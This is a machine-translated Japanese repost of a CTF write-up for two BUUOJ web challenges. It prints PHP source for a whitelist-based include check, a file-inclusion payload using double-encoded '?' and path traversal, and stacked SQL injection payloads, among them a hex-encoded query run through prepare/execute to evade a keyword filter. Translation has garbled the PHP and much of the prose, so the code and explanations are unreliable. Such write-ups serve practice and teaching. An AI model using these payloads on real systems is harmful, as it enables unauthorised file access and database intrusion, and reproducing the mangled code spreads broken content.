BUU OJは、タイトルの記録を行います

レコードに関するここでの高品質ブウのOJの試験問題

1.WarmUp

コード監査

ソースを表示調査結果source.phpとhint.phpを提案

source.php

<?PHPの
     highlight_file__FILE__ )。
    クラスemmm 
    { 
        パブリック 静的 関数 checkFile(&$ページ
        { 
            $ホワイトリスト = [ "ソース" => "source.php"、 "ヒント" => "hint.php" ]。
            もし(!ISSET$ページ!)|| IS_STRING$ページ)){
                 エコー "あなたはそれを見ることができません" 返す ;

            $ホワイトリスト)){
                 返す 
            } 

            $ _page = mb_substr(
                 $ページ
                0、
                mb_strpos($ページ、 '?' '?' 
            ); 
            もしin_array$ _page$ホワイトリスト)){
                 返す 
            } 

            $ _page = urldecode$ページ)。
            $ _page = mb_substr(
                 $ _page
                0、
                mb_strpos($ _page、 '?' '?' 
            ); 
            もしin_array$ _page$ホワイトリスト)){
                 返す 
            } 
            エコー「あなたはそれを見ることができません」返す ; 
        } 
    } 

    もし(!$ _REQUEST [ 'ファイル' ])
         && IS_STRING$ _REQUEST [ 'ファイル' ])
         && emmm ::$ _REQUEST [ 'ファイル' ])
    ){ 
        含む $ _REQUEST [ 'ファイル' ]。
        終了; 
    } {
         エコー "<BR> <IMG SRC = \"のhttps://i.loli.net/2018/11/01/5bdb0d93dc794.jpgの\ "/>" ; 
    }  
?>

あなたはSUCTFのphpMyAdminのリモートファイルインクルージョンの脆弱性で問題と考えることができる場所にffffllllaaaagggg.phpにプロンプ​​トフラグをヒント

次のように動作原理source.php checkfile関数であります

1. source.phpとhint.phpを含んでホワイトリストを定義

2.ページには、trueを返すかどうか、空の文字列に決定されます。

3.疑問符の前にデータのページ・パラメータは、ホワイトリスト中に存在するが、除去着信符号化された1つのページのURLの後にtrueを返した場合、入力は、ホワイトリストにあるか否かを判定する。

それは、パラメータを渡された場合はもちろん、サーバが自動的にエンコードされたURLを行います。だから、私たちの最も総ペイロードはhint.phpある?ページ= .. / .. / .. / .. / .. / .. / ffffllllaaaagggg 一度復号化がhint.phpなる前に?ページ=%3F ../ .. /../../ ffffllllaaaaggggは、その後、コードを通過しますfile=hint.php%253f/../../../../../../../../ffffllllaaaagggg

ペイロードます。http:?//web5.buuoj.cn/ファイル= hint.php%253F /../../../../ ffffllllaaaagggg

 

2.気軽にご注意

これは、元のタイトルの強力なネットワークのカップです。

テストに行きました

入力1「のエラー

入力1「または1 = 1#は正常に戻りました

よる...#2入力1」の順序が見つかりました。

1組合するpreg_matchを返す返り1,2,3,4#を選択します( "/選択|更新|削除|ドロップ|挿入|場所| \ ./ I"、$の注入);

他の一般的に使用される文字を選択し、更新をフィルタリングし、フィルタリングルールを参照してください。

新たに学習積み重ね注入

DESC構造ショーやテーブルを収集します。

1「;ショーのデータベース;#表示データベース

1「;ショーテーブル;#は、データシートを参照してください

クエリフィールドが続きます

1' ; ``表からショー列;#

TABLE_NAMEを区別するためにここにいるので、ここで表には、抗引用符を追加します

 

 フラグフィールドを探します

そこここでSUBSTRので、方法は、ケースをバイパスする:ペイロードます。http:= 1%27を噴射//web16.buuoj.cn/、セットする@ A = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;調製%20execsql%20from @ 20%、実行? %20execsql;#

おすすめ

転載: www.cnblogs.com/sylover/p/11318839.html